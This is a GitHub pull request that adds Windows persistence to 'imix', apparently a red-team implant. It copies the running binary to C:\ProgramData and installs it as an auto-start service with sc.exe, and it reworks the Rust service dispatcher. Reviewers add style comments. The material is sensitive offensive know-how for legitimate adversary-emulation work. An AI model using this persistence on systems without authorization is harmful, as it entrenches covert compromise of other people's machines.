Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add windows default install #605

Merged
merged 5 commits into from
Feb 17, 2024
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions implants/imix/install_scripts/install_service/main.eldritch
Original file line number Diff line number Diff line change
Expand Up @@ -205,6 +205,22 @@ def launch_daemon(service_name, executable_path, executable_args):
sys.shell("launchctl load -w /Library/LaunchDaemons/"+service_name+".plist")
print("Launch daemon installed")

def windows_service_manager(service_name, service_display_name, service_description, executable_path):
create_res = sys.shell("sc.exe create "+service_name+" binpath= "+executable_path+" displayname="+service_display_name+" start= auto type= own")
if 'ERROR' in create_res['stdout'] or create_res['stderr'] != "":
print("Failed to create service:\n")
print(create_res)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nit: combine these into one print statement

print("failed to create service:\n"+create_rest+"\n")

print("\n")
return

start_res = sys.shell("sc.exe start "+service_name)
if 'ERROR' in start_res['stdout'] or start_res['stderr'] != "":
print("Failed to create service:\n")
print(start_res)
print("\n")
return


def persist_service(service_name, service_desc, executable_name, executable_args):
src_path = process.info()['exe']
if sys.is_linux():
Expand All @@ -218,6 +234,10 @@ def persist_service(service_name, service_desc, executable_name, executable_args
executable_path = "/var/root/"+executable_name
file.copy(src_path, executable_path)
launch_daemon(service_name, executable_path, executable_args)
elif sys.is_windows():
executable_path = "C:\\ProgramData\\"+executable_name+".exe"
file.copy(src_path, executable_path)
windows_service_manager(service_name, service_name, service_desc, executable_path)
else:
print("OS not supported")

Expand Down
5 changes: 1 addition & 4 deletions implants/imix/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -15,9 +15,6 @@ pub use install::install;


pub async fn handle_main(){
#[cfg(debug_assertions)]
init_logging();

if let Some(("install", _)) = Command::new("imix")
.subcommand(Command::new("install").about("Install imix"))
.get_matches()
Expand Down Expand Up @@ -52,7 +49,7 @@ async fn run(cfg: Config) -> anyhow::Result<()> {
}

#[cfg(debug_assertions)]
fn init_logging() {
pub fn init_logging() {
pretty_env_logger::formatted_timed_builder()
.filter_level(log::LevelFilter::Info)
.parse_env("IMIX_LOG")
Expand Down
25 changes: 13 additions & 12 deletions implants/imix/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -3,14 +3,24 @@
#[macro_use]
extern crate windows_service;

use imix::handle_main;
use imix::{handle_main};
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove the {}



// ============= Standard ===============

#[cfg(not(feature = "win_service"))]
#[tokio::main(flavor = "multi_thread", worker_threads = 128)]
async fn main() {
#[cfg(debug_assertions)]
imix::init_logging();

#[cfg(feature = "win_service")]
match windows_service::service_dispatcher::start("imix", ffi_service_main) {
Ok(_) => {},
Err(_err) => {
#[cfg(debug_assertions)]
log::error!("Failed to start service (running as exe?): {_err}");
},
}

handle_main().await
}
Expand All @@ -24,19 +34,10 @@ compile_error!("Feature win_service is only available on windows targets");
#[cfg(feature = "win_service")]
define_windows_service!(ffi_service_main, service_main);

#[cfg(feature = "win_service")]
fn main() {
use windows_service::service_dispatcher;
service_dispatcher::start("imix", ffi_service_main).unwrap();
}

#[cfg(feature = "win_service")]
#[tokio::main(flavor = "multi_thread", worker_threads = 128)]
async fn service_main(arguments: Vec<std::ffi::OsString>) {
use imix::win_service::handle_service_main;

handle_service_main(arguments);

imix::win_service::handle_service_main(arguments);
handle_main().await;
}

Loading